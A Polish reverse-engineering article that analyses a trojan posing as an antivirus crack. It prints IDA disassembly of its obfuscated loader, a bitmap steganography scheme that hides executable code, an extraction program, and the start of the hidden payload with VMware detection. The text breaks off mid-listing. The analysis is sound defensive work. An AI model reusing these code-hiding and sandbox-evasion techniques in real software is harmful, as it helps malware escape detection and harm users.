Kod zniszczenia – analiza malware

Wirus

Analiza malware na przykładzie złośliwego oprogramowania znalezionego w sieci, praktyczna prezentacja inżynierii wstecznej (reverse engineering).

Przeglądając usenetową listę dyskusyjną pl.comp.programming natrafiłem na posta „UNIWERSALNY CRACK DO MKS-VIRA!!!!”, gdzie znajdował się odnośnik do małego pliku wykonywalnego. Jak wynikało z postów innych użytkowników, program ten nie tylko nie był crackiem, ale najprawdopodobniej zawierał „podejrzany” kod. Link do tego samego pliku znalazł się również na pięciu innych listach dyskusyjnych (gdzie nie był już crackiem, ale np. łamaczem haseł gadu-gadu). Z ciekawości ściągnąłem ten plik i wziąłem się do jego analizy.

Reverse engineering w akcji

Analizę pliku można podzielić na kilka etapów, najpierw przyjrzymy się ogólnej budowie pliku wykonywalnego, przejrzymy jego listę zasobów, wykorzystując do tego celu program ExeScope, który w przejrzysty sposób pozwala przeglądać i edytować zasoby w plikach wykonywalnych.

Kolejnym krokiem będzie ustalenie, w jakim języku programowania plik został napisany, oraz czy plik wykonywalny został skompresowany.  Do tego celu użyjemy identyfikatora plików wykonywalnych PEiD, który posiada wbudowaną bazę danych, pozwalającą określić, w jakim języku aplikacja została napisana, oraz zidentyfikować najpopularniejsze typy kompresorów i protektorów plików wykonywalnych. Alternatywnie można skorzystać z nieco starszego identyfikatora plików FileInfo, który obecnie nie jest już tak dynamicznie rozwijany i uaktualniany jak PEiD. Dzięki tym informacjom będziemy wiedzieć, co robić dalej, czy możemy od razu przejść do analizy kodu, czy przykładowo będziemy musieli rozpakować plik, gdyby okazało się, że jest on skompresowany (np. kompresorami FSG, UPX, Aspack itp.), gdyż analiza kodu skompresowanych plików mija się z celem, po prostu nie byłoby widać oryginalnego kodu programu, tylko jego skompresowaną (lub zaszyfrowaną) formę.

Następnym krokiem będzie analiza kodu, wykorzystamy do tego znakomity deasembler IDA firmy Datarescue, który w wersji demonstracyjnej, dostępnej dla każdego, pozwala jedynie na analizę plików PE (Portable Executable), ale to nam w zupełności wystarczy. IDA jest obecnie najlepszym deasemblerem i pozwala w szczegółowy sposób przeanalizować każdy plik wykonywalny, w wersji komercyjnej obsługuje ponad 30 różnych typów procesorów oraz całą masę różnych rodzajów plików wykonywalnych. Analiza kodu pozwoli nam dowiedzieć się, w jaki sposób działa program i czego możemy się spodziewać po jego uruchomieniu.

Szybkie rozeznanie

W archiwum zip znajduje się jeden plik „patch.exe”, który ma niecałe 200 KB. Na samym początku polecam zmienić rozszerzenie tego pliku, np. na „patch.bin”, żeby przypadkiem go nie uruchomić. Strukturalnie jest to 32 bitowy plik wykonywalny w formacie PE. Program został napisany w MS Visual C++ 6.0, o czym można się przekonać, sprawdzając plik „patch.exe” w identyfikatorze plików PEiD. Dzięki PEiD wiemy także, że nie został on skompresowany, ani zabezpieczony:

Identyfikator plików PEiD
Identyfikator plików PEiD.

Przeglądając plik w edytorze zasobów ExeScope, natrafimy jedynie na standardowe typy danych, bitmapa, jedno okno dialogowe, ikona oraz manifest (okna aplikacji z tym zasobem na systemach Windows XP są wyświetlane z wykorzystaniem nowych stylów graficznych, bez tego zasobu okna aplikacji wyświetlane są jak standardowe aplikacje, których wygląd znamy z systemów rodziny Windows 9x):

Edytor i przeglądarka zasobów ExeScope
Edytor i przeglądarka zasobów ExeScope.

Jak na razie nie ma niczego podejrzanego, ale pozory mylą.

Analiza kodu

Po załadowaniu pliku „patch.exe” do dekompilatora IDA znajdziemy się w procedurze WinMain(), która jest punktem wejściowym dla aplikacji napisanych w C++.

Deasembler IDA - kod w WinMain.
Deasembler IDA - kod w WinMain.

Faktycznie punktem wejściowym każdej aplikacji jest tzw. „entrypoint”(z ang. punkt wejścia), którego adres zapisany jest w nagłówku PE i od którego zaczyna się wykonywanie kodu aplikacji. Jednak w przypadku programów C++, kod z prawdziwego punktu wejściowego odpowiedzialny jest jedynie za inicjalizację wewnętrznych zmiennych (programista piszący program nie ma wpływu na jego kod), a nas interesuje jedynie to, co zostało napisane przez programistę:

.text:00401280 ; __stdcall WinMain(x,x,x,x)
.text:00401280 _WinMain@16	proc near	; CODE XREF: start+C9p
.text:00401280
.text:00401280 hInstance	= dword ptr  4
.text:00401280
.text:00401280	mov	eax, [esp+hInstance]
.text:00401284	push	0			; dwInitParam
.text:00401286	push	offset DialogFunc	; lpDialogFunc
.text:0040128B	push	0			; hWndParent
.text:0040128D	push	65h			; lpTemplateName
.text:0040128F	push	eax			; hInstance
.text:00401290	mov	dword_405554, eax
.text:00401295	call	ds:DialogBoxParamA	; Create a modal dialog box from a
.text:00401295					; dialog box template resource
.text:0040129B	mov	eax, hHandle
.text:004012A0	push	INFINITE		; dwMilliseconds
.text:004012A2	push	eax			; hHandle
.text:004012A3	call	ds:WaitForSingleObject
.text:004012A9	retn	10h
.text:004012A9 _WinMain@16	endp

Aby uprościć zrozumienie powyższego kodu przepiszemy go na język C++.

Z assemblera do C++

Praktycznie z każdego „deadlistingu”, czyli ze zdeasemblowanego kodu, można z większymi, lub mniejszymi trudnościami złożyć kod w języku programowania, w którym kod oryginalnie został napisany. Narzędzia takie jak IDA dostarczają jedynie podstawowych informacji, jak nazwy funkcji, nazwy zmiennych i stałych, konwencje wywoływania funkcji (stdcall, cdecl itp.), ale przełożenie tego na język HLL (High Level Language – język wysokiego poziomu) wymaga już ludzkiej pracy i doświadczenia w programowaniu i analizie kodu.

Obecnie istnieją specjalne „pluginy” dla IDA, pozwalające na prostą dekompilację kodu x86, ale wyniki ich działania pozostawiają wiele do życzenia. Zgodnie z zapowiedzią, niektóre fragmenty zostaną przepisane na język C++, a tak prezentuje się powyższy kod po jego przetłumaczeniu:

WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
	// wyświetl okno dialogowe
	DialogBoxParam(hInstance, IDENTYFIKATOR_OKNA, NULL, DialogFunc, 0);

	// zakończ program, dopiero wtedy, gdy zwolniony zostanie uchwyt hHandle
	return WaitForSingleObject(hHandle, INFINITE);
}

Tłumaczenie na kod HLL polega na przeanalizowaniu struktury funkcji, wyodrębnieniu zmiennych lokalnych, znalezienie w kodzie odwołań do zmiennych globalnych. Informacje, jakich dostarcza nam IDA pozwalają w prosty sposób stwierdzić jakie parametry i ile parametrów, przyjmuje analizowana funkcja, jakie zwraca wartości, z jakich procedur WinApi korzysta oraz do jakich danych się odwołuje.

Mając te wszystkie informacje można zacząć tworzyć kod w języku wysokiego poziomu. Do pierwszych czynności należy zdefiniowanie typu funkcji, konwencji jej wywołania, typów parametrów, następnie wykorzystując dane z IDA, definiujemy zmienne lokalne funkcji. Gdy ogólny zarys funkcji zostanie stworzony, można wziąć się za odtworzenie kodu. Do podstawowych czynności należy odbudowa wywołań innych funkcji (WinApi, ale nie tylko, bo także odwołań do wewnętrznych funkcji programu), przykładowo dla funkcji WinApi analizujemy kolejno zapamiętywane parametry, które zapisywane są na stosie instrukcją push w kolejności od ostatniego parametru do pierwszego (czyli odwrotnie niż następuje ich zapis w wywołaniu funkcji w kodzie HLL), posiadając informacje o wszystkich parametrach, można odtworzyć oryginalne odwołanie do funkcji.

Najtrudniejszym elementem odtworzenia kodu programu do języka HLL, jest odtworzenie logiki działania, czyli należy umiejętnie rozpoznawać operatory logiczne (OR, XOR, NOT) i arytmetyczne (dodawanie, odejmowanie, mnożenie, dzielenie) oraz instrukcje warunkowe, jak IF ELSE, SWITCH, pętle FOR, WHILE, DO. Dopiero wszystkie te informacje zebrane w całość, pozwalają przełożyć kod asemblera na przykładowo C++, ale równie dobrze można przełożyć język asemblera na kod w Delphi.

W kodzie widać, że najpierw wywoływana jest procedura DialogBoxParam(), wyświetlająca okno dialogowe, którego identyfikator określa okno zapisane w zasobach pliku wykonywalnego. Następnie wywoływana jest procedura WaitForSingleObject() i program kończy działanie. Z tego kodu można wywnioskować, że program wyświetla okno dialogowe, następnie po jego zamknięciu (gdy już nie będzie widoczne), czeka tak długo, aż nie zostanie zasygnalizowany stan dla obiektu hHandle. Mówiąc prościej, program nie zakończy działania, dopóki nie zakończy się wykonywanie innego kodu, najczęściej w ten sposób czeka się na zakończenie pracy kodu uruchomionego w oddzielnym wątku (z ang. thread).

Pomyślałem sobie, że co program może chcieć robić tuż po zamknięciu głównego okna i pierwsze, co przyszło mi na myśl, to że coś złego. Idąc tym tropem, postanowiłem znaleźć miejsce w kodzie, w którym ustawiany jest uchwyt hHandle, bo skoro jest odczytywany, to wcześniej musi być gdzieś zapisywany. Aby to zrobić w IDA należy kliknąć nazwę zmiennej hHandle, aby znaleźć się w miejscu jej położenia w sekcji danych (uchwyt hHandle to nic innego jak 32 bitowa wartość typu DWORD), po prawej stronie od nazwy zmiennej, znajdują się tzw. referencje, czyli informacje o miejscach w kodzie, z których zmienna jest odczytywana, lub modyfikowana. W zależności od konfiguracji, nie wszystkie referencje są wyświetlane, pełna lista dostępna jest w oknie, które pojawi się po najechaniu kursorem na nazwę zmiennej i naciśnięciu kombinacji klawiszy CTRL-X.

.data:004056E4	; HANDLE hHandle
.data:004056E4 hHandle		dd 0		; DATA XREF: .text:00401108w
.data:004056E4					; WinMain(x,x,x,x)+1Br
Deasembler IDA - referencje w kodzie.
Deasembler IDA - referencje w kodzie.

Jednym z tych miejsc jest przedstawiona wcześniej procedura WinMain(), w której zmienna jest odczytywana (mówi nam o tym mała literka „r” od angielskiego „read”„czytać”), zaciekawiła mnie natomiast druga referencja (na liście znajduje się jako pierwsza), której opis mówi nam, że zmienna hHandle jest w tym miejscu modyfikowana (mała literka „w” od angielskiego „write”„zapisać”), teraz wystarczy kliknąć na nią, aby znaleźć się w kodzie, odpowiedzialnym za zapis do zmiennej (czyli tak, jakbyśmy kliknęli hyperlinka). Kod w tym miejscu przedstawia się tak:

.text:004010F7	mov	edx, offset lpInterfejs
.text:004010FC	mov	eax, lpWskaznikKodu
.text:00401101	jmp	short loc_401104	; tajemniczy "call"
.text:00401103	db 0B8h				; śmieci, tzw. "junks"
.text:00401104 loc_401104:			; CODE XREF: .text:00401101j
.text:00401104	call	eax			; tajemniczy "call"
.text:00401106	db	0 ;			; śmieci
.text:00401107	db	0 ;			; jak wyżej
.text:00401108	mov	hHandle, eax		; ustawienie uchwytu
.text:0040110D	pop	edi
.text:0040110E	mov	eax, 1
.text:00401113	pop	esi
.text:00401114	retn

Parę słów wytłumaczenia, najpierw do rejestru EAX wczytywany jest wskaźnik do jakiegoś obszaru, w którym znajduje się kod, następnie wykonywany jest skok do instrukcji wywołującej procedurę. Gdy procedura ta zostanie już wywołana, w rejestrze EAX znajdzie się wartość uchwytu (przeważnie wszystkie procedury, czy to WinApi, czy z innych bibliotek zwracają wartości, kody błędów, właśnie w tym rejestrze procesora, więc można założyć, że i tym razem tak będzie), która następnie zostanie zapisana do zmiennej hHandle. Ktoś, kto dobrze zna asembler, na pewno zauważył, że ten fragment kodu wygląda podejrzanie (niestandardowo w porównaniu do zwykłego skompilowanego kodu C++), w hex-edytorze Hiew, w widoku deasemblacji, ten sam kod wygląda tak:

.00401101: EB01		jmps	.000401104	; skok w środek instrukcji
.00401103: B8FFD00000	mov	eax,00000D0FF	; ukryta instrukcja
.00401108: A3E4564000	mov	[004056E4],eax	; ustawienie uchwytu
.0040110D: 5F		pop	edi
.0040110E: B801000000	mov	eax,000000001
.00401113: 5E		pop	esi
.00401114: C3		retn

Nie widać tu instrukcji CALL EAX, gdyż jej opcody (bajty instrukcji) zostały wstawione w środek instrukcji MOV EAX, 0xD0FF, dopiero zamazując pierwszy bajt instrukcji MOV zobaczymy jaki kod zostanie naprawdę wykonany:

.00401101: EB01		jmps	.000401104	; skok w środek instrukcji
.00401103: 90		nop			; zamazany 1 bajt instrukcji "mov"
.00401104: FFD0		call	eax		; ukryta instrukcja

Wracając do kodu, który jest wywoływany instrukcją CALL EAX, należałoby się dowiedzieć gdzie prowadzi adres zapisany w rejestrze EAX. Powyżej instrukcji CALL EAX znajduje się instrukcja, która do rejestru EAX wpisuje wartość zmiennej lpWskaznikKodu. Aby dowiedzieć się, co zostało zapisane do tej zmiennej znowu posłużymy się referencjami:

.data:004056E8 lpWskaznikKodu  dd 0	; DATA XREF: .text:00401092w
.data:004056E8				; .text:004010A1r
.data:004056E8				; .text:004010BEr
.data:004056E8				; .text:004010C8r
.data:004056E8				; .text:004010FCr

widać tu, że zmienna lpWskaznikKodu (nazwę zmiennej można dowolnie zmieniać, tak żeby łatwiej było nam zrozumieć kod, aby to zrobić wystarczy najechać kursorem na nią, nacisnąć klawisz N i wprowadzić nową nazwę) domyślnie ustawiona jest na 0 i tylko w jednym miejscu kodu jest ustawiana, klikając na referencję zapisu do zmiennej, znajdziemy się w kodzie:

.text:00401074	push	ecx
.text:00401075	push	0
.text:00401077	mov	dwRozmiarBitmapy, ecx	; zapisz rozmiar bitmapy
.text:0040107D	call	ds:VirtualAlloc		; alokuj pamięć, adres zaalokowanego
.text:0040107D					; bloku znajdzie się w rejestrze EAX
.text:00401083	mov	ecx, dwRozmiarBitmapy
.text:00401089	mov	edi, eax		; EDI = adres zaalokowanej pamięci
.text:0040108B	mov	edx, ecx
.text:0040108D	xor	eax, eax
.text:0040108F	shr	ecx, 2
.text:00401092	mov	lpWskaznikKodu, edi	; zapisz adres zaalokowanej pamięci
.text:00401092					; do zmiennej lpWskaznikKodu

zmienna lpWskaznikKodu ustawiana jest na adres pamięci zaalokowanej funkcją VirtualAlloc(). Przeglądając wcześniejsze fragmenty deadlistingu, dowiedziałem się, że z zasobów pliku „patch.exe”, ładowana jest jego jedyna bitmapa, następnie ze składowych barw RGB kolejnych pikseli składane są bajty ukrytego kodu, które następnie zapisywane są do wcześniej zaalokowanej pamięci (której adres zapisany jest w zmiennej lpWskaznikKodu). Tak wygląda fragment odpowiedzialny za „wydobycie” danych z bitmapy:

.text:004010BE kolejny_bajt:			; CODE XREF: .text:004010F4j
.text:004010BE	mov	edi, lpWskaznikKodu
.text:004010C4	xor	ecx, ecx
.text:004010C6	jmp	short loc_4010CE
.text:004010C8 kolejny_bit:			; CODE XREF: .text:004010E9j
.text:004010C8	mov	edi, lpWskaznikKodu
.text:004010CE loc_4010CE:			; CODE XREF: .text:004010BCj
.text:004010CE					; .text:004010C6j
.text:004010CE	mov	edx, lpWskaznikBitmapy
.text:004010D4	mov	bl, [edi+eax]		; "poskładany" bajt kodu
.text:004010D7	mov	dl, [edx+esi]		; kolejny bajt składowej kolorów RGB
.text:004010DA	and	dl, 1			; maskuj najmniej znaczący bit składowej kolorów
.text:004010DD	shl	dl, cl			; bit składowej RGB << i++
.text:004010DF	or	bl, dl			; zóż z bitów składowej kolorów jeden bajt
.text:004010E1	inc	esi
.text:004010E2	inc	ecx
.text:004010E3	mov	[edi+eax], bl		; zapisz bajt kodu
.text:004010E6	cmp	ecx, 8			; licznik 8 bitów (8 bitów = 1 bajt)
.text:004010E9	jb	short kolejny_bit
.text:004010EB	mov	ecx, dwRozmiarBitmapy
.text:004010F1	inc	eax
.text:004010F2	cmp	esi, ecx
.text:004010F4	jb	short kolejny_bajt
.text:004010F6	pop	ebx
.text:004010F7
.text:004010F7 loc_4010F7:			; CODE XREF: .text:004010B7j
.text:004010F7	mov	edx, offset lpInterfejs
.text:004010FC	mov	eax, lpWskaznikKodu
.text:00401101	jmp	short loc_401104	; tajemniczy "call"
.text:00401103	db 0B8h				; śmieci, tzw. "junks"
.text:00401104 loc_401104:			; CODE XREF: .text:00401101j
.text:00401104	call	eax			; tajemniczy "call"

W powyższym kodzie można wyróżnić dwie pętle, jedna z nich (wewnętrzna) odpowiada za pobieranie kolejnych bajtów tworzących składowe kolorów RGB pikseli bitmapy. Bitmapa w tym konkretnym przypadku zapisana jest w formacie 24bpp („bits per pixel” - bity na piksel), więc każdy piksel opisany jest 3 bajtami koloru w formacie RGB (Red - czerwony, Green - zielony, Blue - niebieski), ułożonymi jeden za drugim. Z kolejnych ośmiu pobranych bajtów, maskowane są najmniej znaczące bity (instrukcją and dl, 1), które poskładane w całość tworzą jeden bajt kodu. Gdy bajt kodu zostanie już „złożony”, zostaje tak ostatecznie zapisany do bufora lpWskaznikKodu. Następnie w pętli zewnętrznej inkrementowany jest indeks dla wskaźnika lpWskaznikKodu, tak żeby wskazywał na miejsce, gdzie będzie można umieścić kolejny bajt kodu, po czym wraca do pobierania kolejnych ośmiu bajtów składowych kolorów. Pętla zewnętrzna wykonuje się tak długo, dopóki ze wszystkich pikseli bitmapy nie zostaną wydobyte bajty kodu. Ilość powtórzeń pętli stanowi wymiar bitmapy, pobierany bezpośrednio z jej nagłówka, a konkretnie z takich danych jak szerokość i wysokość (zapisana w jednostkach, jaką jest piksel):

.text:0040105B	; w rejestrze EAX znajduje się wskaźnik
.text:0040105B	; do początku danych bitmapy
.text:0040105B	mov	ecx, [eax+8]		; wysokość bitmapy
.text:0040105E	push	40h
.text:00401060	imul	ecx, [eax+4]		; szerokość * wysokość = ilość
.text:00401060					; bajtów opisujących piksele
.text:00401064	push	3000h
.text:00401069	add	eax, 40			; rozmiar nagłówka bitmapy
.text:0040106C	lea	ecx, [ecx+ecx*2]		; każdy piksel opisują 3 bajty, więc wynik
.text:0040106C					; szerokość * wysokość należy pomnożyć jeszcze
.text:0040106C					; razy 3 (RGB)
.text:0040106F	mov	lpWskaznikBitmapy, eax	; zapisz wskaźnik do danych kolejnych pikseli
.text:00401074	push	ecx
.text:00401075	push	0
.text:00401077	mov	dwRozmiarBitmapy, ecx	; zapisz rozmiar bitmapy

Po wczytaniu bitmapy z zasobów pliku wykonywalnego, w rejestrze EAX znajdzie się adres początku bitmapy, który określa jego nagłówek. Z nagłówka pobierane są wymiary bitmapy, następnie szerokość mnożona jest przez wysokość bitmapy, co w wyniku da nam łączną liczbę pikseli bitmapy, ale każdy piksel opisany jest 3 bajtami, więc dodatkowo wynik mnożony jest jeszcze razy 3, otrzymując w ten sposób finalny rozmiar danych opisujących wszystkie piksele.

Kod pobierający dane z bitmapy można w uproszczeniu przedstawić w C++ tak:

unsigned int i = 0, j = 0, k;
unsigned int dwRozmiarBitmapy;

// oblicz ile bajtów zajmują wszystkie piksele w pliku bitmapy
dwRozmiarBitmapy = szerokosc_bitmapy * wysokosc_bitmapy * 3;

while (i < dwRozmiarBitmapy)
{
	// poskładaj 8 bitów składowych barw RGB w 1 bajt kodu
	for (k = 0; k < 8; k++)
	{
		lpWskaznikKodu[j] |= (lpWskaznikBitmapy[i++] & 1) << k;
	}

	// kolejny bajt kodu
	j++;
}

Steganografia

Ukrywanie danych w obrazach (i nie tylko, bo także np. w plikach dźwiękowych) ma swoja nazwę – steganografia, wykorzystywana była już w starożytności, obecnie możliwości ukrywania danych są nieograniczone, można np. ukryć tajną wiadomość w obrazku na ogólnie dostępnej stronie internetowej i nie wzbudzi to najmniejszych podejrzeń osób postronnych.

Jak widać steganografia nadaje się równie dobrze do ukrycia kodu, w tym przypadku tajne dane zostały zapisane na pozycjach najmniej znaczących bitów kolejnych składowych RGB pikseli. Tak zmodyfikowana bitmapa w porównaniu do oryginału jest praktycznie nie do odróżnienia dla gołego oka, gdyż różnice są zbyt subtelne.

Wydobycie ukrytego kodu

Wiemy już więc gdzie ukryty jest kod, ale jak go teraz wyciągnąć i zobaczyć, co tak naprawdę kryje? Można oczywiście uruchomić „patch.exe” i posługując się debuggerem (SoftIce, OllyDbg itp.), „zrzucić” już przetworzony kod z pamięci, ale mówiąc szczerze, wolałem nie ryzykować i napisałem sobie do tego prosty program, który bez uruchamiania aplikacji wyciągnął z bitmapy ukryty kod (program, wraz ze źródłem i zrzuconym ukrytym kodem znajduje się na dołączonej do magazynu płycie).

Działanie programu polega na wgraniu bitmapy z zasobów pliku „patch.exe” i wydobyciu z niej ukrytego kodu, posługując się tym samym algorytmem jaki wykorzystuje oryginalny program. Aby odczytać zasoby jakiegoś pliku należy w pierwszej kolejności pobrać jego „uchwyt”. Uchwyt programu jest to adres tzw. „bazy” (ang. „imagebase”), pod którą taki plik został załadowany do pamięci operacyjnej przez system Windows. Można go pobrać już z uruchomionego programu, ale my nie chcemy ryzykować i go uruchamiać, tu z pomocą przychodzi funkcja WinApi LoadLibraryEx(), która pozwala wgrać dowolny plik wykonywalny, czy też bibliotekę dynamiczną DLL, ale w ten sposób, że plik nie jest uruchamiany, a jedynie mapowany do pamięci jak zwykły plik binarny (służy do tego dodatkowy parametr LOAD_LIBRARY_AS_DATAFILE), co jednak pozwala odczytać jego zasoby.

#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main()
{
	HMODULE hModule;
	HRSRC hRes;
	HGLOBAL hRsrc;
	BYTE *lpCode, *lpTemp;
	BYTE *hLocked;
	DWORD dwCode, i = 0, j = 0, k;
	FILE *hOutput;
	char lpszFilename[] = "ukryty_kod.bin";

	// załaduj plik patch.bin jako plik danych
	hModule = LoadLibraryEx("patch.bin", NULL, LOAD_LIBRARY_AS_DATAFILE);

	// sprawdź czy plik został wgrany do pamięci
	if (hModule != 0)
	{
		// szukaj w zasobach pliku bitmapy o identyfikatorze 105
		hRes = FindResource(hModule, MAKEINTRESOURCE(105), RT_BITMAP);

		// sprawdź czy znaleziono bitmapę
		if (hRes != 0)
		{
			// załaduj bitmapę z zasobów
			hRsrc = LoadResource(hModule, hRes);

			// zablokuj wskaźnik do załadowanej bitmapy, w wyniku
			// wywołania tej funkcji, w zmiennej hLocked znajdzie
			// się adres pierwszego bajtu danych bitmapy
			hLocked = (BYTE *)LockResource(hRsrc);

			// ilość pikseli zapisanych w bitmapie * 3
			dwCode = (*(DWORD *)(hLocked + 0x4)) * (*(DWORD *)(hLocked + 0x8)) * 3;

			// alokuj pamięć do wrzucenia tam kodu (wyzerowana)
			lpCode = calloc(dwCode, 1);

			// ustaw wskaźnik lpTemp na składowe RGB bitmapy (po nagłówku)
			lpTemp = (BYTE *)(hLocked + 0x28);

			// wyciągnij ze składowych RGB kolejne bajty ukrytego kodu
			while (i < dwCode)
			{
				// składanie bajtu ukrytego kodu z 8 kolejnych
				// bitów składowych kolorów
				for (k = 0; k < 8; k++)
				{
					lpCode[j] |= ( lpTemp[i++] & 1 ) << k;
				}

				// zwiększ indeks bufora danych lpCode
				j++;
			}

			// utwórz nowy plik binarny
			hOutput = fopen(lpszFilename, "wb+");

			// zapisz do niego zawartość ukrytego kodu
			fwrite(lpCode, j, 1, hOutput);

			// zamknij plik
			fclose(hOutput);
		}
	}

	// zakończ program
	return 0;
}

Najpierw plik „patch.bin” (rozszerzenie pliku nie ma tutaj żadnego znaczenia, wystarczy żeby plik był w formacie PE) wgrywany jest do pamięci funkcją LoadLibraryEx(), następnie z zasobów załadowanego pliku wykonywalnego wgrana zostaje bitmapa, która w zasobach określona jest identyfikatorem 105. Dostęp do pierwszych bajtów bitmapy uzyskujemy dzięki wywołaniu funkcji LockResource(), która zwraca wskaźnik do danych bitmapy. Po uzyskaniu dostępu do danych bitmapy, z jej nagłówka odczytywane są jej wymiary i wyliczany jest łączny rozmiar wszystkich bajtów opisujących piksele, w których ukryty został kod. Po ustaleniu rozmiaru danych bitmapy, alokowana jest pamięć, w której znajdzie się ukryty kod. Pamięć alokowana jest funkcją calloc(), która automatycznie zeruje obszar alokowanej pamięci, ale równie dobrze można użyć funkcji ZeroMemory() w przypadku innego sposobu alokacji pamięci. Piszę o tym dlatego, że w późniejszym fragmencie, w kodzie wyciągającym dane z bitmapy mamy linijkę:

// złóż bajt ukrytego kodu (wykorzystywana jest tu operacja OR)
lpCode[j] |= ( lpTemp[i++] & 1 ) << k;

Wykorzystywana jest tutaj operacja OR na bloku pamięci i gdyby ta pamięć, w której znajdzie się ukryty kod, nie była wcześniej wyzerowana, wynikowe dane mogłyby być nieprawdziwe. Po odczytaniu do tak zaalokowanego bufora pamięci ukrytego kodu, w bieżącym katalogu tworzony jest nowy plik binarny „ukryty_kod.bin”, w którym ten kod zostaje zapisany.

Ukryty kod

Cały kod zawiera się w niecałym kilobajcie, dlatego omówię ogólną zasadę jego działania oraz „najciekawsze” fragmenty.

Wywołanie ukrytego kodu.
Wywołanie ukrytego kodu.

Aby kod mógł jakoś funkcjonować potrzebuje dostępu do funkcji systemu Windows. W tym przypadku dostęp do funkcji WinApi realizowany jest poprzez specjalną strukturę interfejs, której adres przekazywany jest do ukrytego kodu w rejestrze EDX:

.text:004010F7	mov	edx, offset lpInterfejs ; struktura interfejs
.text:004010FC	mov	eax, lpWskaznikKodu
.text:00401101	jmp	short loc_401104
.text:00401103	db 0B8h
.text:00401104 loc_401104:
.text:00401104	call	eax			; wywołanie ukrytego kodu

Struktura „interfejs” zapisana jest w sekcji danych głównego programu, a przedstawia się tak:

00000000 interfejs struc ; (sizeof=0X48)
00000000	hKernel32		dd ?	; uchwyt biblioteki KERNEL32.dll
00000004	hUser32			dd ?	; uchwyt biblioteki USER32.dll
00000008	GetProcAddress		dd ?	; adresy procedur WinApi
0000000C	CreateThread		dd ?
00000010	bIsWindowsNT		dd ?
00000014	CreateFileA		dd ?
00000018	GetDriveTypeA		dd ?
0000001C	SetEndOfFile		dd ?
00000020	SetFilePointer		dd ?
00000024	CloseHandle		dd ?
00000028	SetFileAttributesA	dd ?
0000002C	SetCurrentDirectoryA	dd ?
00000030	FindFirstFileA		dd ?
00000034	FindNextFileA		dd ?
00000038	FindClose		dd ?
0000003C	Sleep			dd ?
00000040	MessageBoxA		dd ?
00000044	stFindData		dd ?	; WIN32_FIND_DATA
00000048	interfejs ends

W kodzie głównego programu, wypełnione zostają jedynie niektóre pola:

.text:00401120 sub_401120	proc near	; CODE XREF: DialogFunc+BAp
.text:00401120
.text:00401120 VersionInformation= _OSVERSIONINFOA ptr -94h
.text:00401120
.text:00401120	sub	esp, 94h
.text:00401126	push	esi
.text:00401127	mov	esi, ds:LoadLibraryA
.text:0040112D	push	offset aKernel32_dll ; lpLibFileName
.text:00401132	call	esi ; LoadLibraryA
.text:00401134	push	offset aUser32_dll_0 ; lpLibFileName
.text:00401139	mov	lpInterfejs.hKernel32, eax
.text:0040113E	call	esi ; LoadLibraryA
.text:00401140	mov	lpInterfejs.hUser32, eax
.text:00401145	mov	eax, lpInterfejs.hKernel32
.text:0040114A	test	eax, eax
.text:0040114C	pop	esi
.text:0040114D	jz	short loc_40119A
.text:0040114F	mov	eax, ds:GetProcAddress
.text:00401154	mov	ecx, ds:CreateThread
.text:0040115A	lea	edx, [esp+94h+VersionInformation]
.text:0040115E	mov	lpInterfejs.GetProcAddress, eax
.text:00401163	push	edx			; lpVersionInformation
.text:00401164	mov	lpInterfejs.CreateThread, ecx
.text:0040116A	mov	[esp+98h+VersionInformation.dwOSVersionInfoSize], 94h
.text:00401172	call	ds:GetVersionExA ; Get extended information about the
.text:00401172				; version of the operating system
.text:00401178	mov	ecx, [esp+94h+VersionInformation.dwPlatformId]
.text:0040117C	xor	eax, eax
.text:0040117E	cmp	ecx, 2
.text:00401181	setz	al
.text:00401184	mov	lpInterfejs.bIsWindowsNT, eax

Najpierw ładowane są biblioteki systemowe KERNEL32.dll i USER32.dll, a ich uchwyty zostają zapisane do struktury, następnie w strukturze zapisywane są adresy funkcji GetProcAddress() i CreateThread() oraz znacznik określający, czy program uruchomiony został pod systemem Windows NT/XP. Uchwyty systemowych bibliotek, oraz dostęp do funkcji GetProcAddress() w praktyce pozwala na pobranie adresu dowolnej innej procedury i nie tylko z bibliotek systemowych, ale równie dobrze z każdej innej biblioteki.

Działanie ukrytego kodu rozpoczyna się od uruchomienia dodatkowego wątka, wykorzystując do tego celu adres procedury CreateThread() wcześniej zapisanej w strukturze „interfejs”. Po wywołaniu CreateThread() w rejestrze EAX zwrócony zostaje uchwyt nowo utworzonego wątka (lub 0 w przypadku błędu), który po powrocie do kodu głównego programu zapisywany jest w zmiennej hHandle:

; na początku wykonywania tego kodu w rejestrze EAX znajduje
; się adres kodu, w rejestrze EDX znajduje się adres struktury
; zapewniającej dostęp do funkcji WinApi (interfejs)
ukryty_kod:

; eax + 16 = początek kodu, który zostanie uruchomiony w wątku
	lea	ecx, kod_wykonywany_w_watku[eax]
	push	eax
	push	esp
	push	0
	psh	edx			; parametr dla procedury wątku
					; adres struktury interfejs
	push	ecx			; adres procedury do uruchomienia w wątku
	push	0
	push	0
	call	[edx+interfejs.CreateThread] ; uruchom kod w wątku

loc_10:
	pop	ecx
	sub	dword ptr [esp], -2
	retn

Do procedury uruchomionej w wątku przekazywany jest jeden parametr, który w tym wypadku stanowi adres struktury „interfejs”. Procedura uruchomiona w wątku najpierw sprawdza, czy program został uruchomiony w środowisku Windows NT, robi to dlatego, że w przypadku wykrycia środowiska Windows 9x, próbuje wykryć, czy kod został uruchomiony w środowisku wirtualnej maszyny (VMware), do tego celu wykorzystuje instrukcję asemblera in, której wykonanie na systemie z rodziny Windows NT, w przeciwieństwie do Windows 9x powoduje zawieszenie programu. Następnym krokiem jest pobranie dodatkowych funkcji WinApi wykorzystywanych przez ukryty kod i zapisanie ich do struktury „interfejs”:

kod_wykonywany_w_watku:				; DATA XREF: seg000:00000000r
	push	ebp
	mov	ebp, esp
	push	esi
	push	edi
	push	ebx
	mov	ebx, [ebp+8]			; offset interfejsu z
						; adresami funkcji WinApi

; pod WindowsNT nie wykonuj instrukcji "in"
; spowodowałoby to zawieszenie się aplikacji
	cmp	[ebx+interfejs.bIsWindowsNT], 1
	jz	short nie_wykonuj

; wykrywanie wirtualnej maszyny Vmware, jeśli wykryto,
; że program działa pod emulatorem, kod kończy działanie
	mov	ecx, 0Ah
	mov	eax, 'VMXh'
	mov	dx, 'VX'
	in	eax, dx
	cmp	ebx, 'VMXh'			; wykrywanie VMware
	jz	loc_1DB
nie_wykonuj:					; CODE XREF: seg000:00000023j
	mov	ebx, [ebp+8]			; offset interfejsu z adresami funkcji WinApi
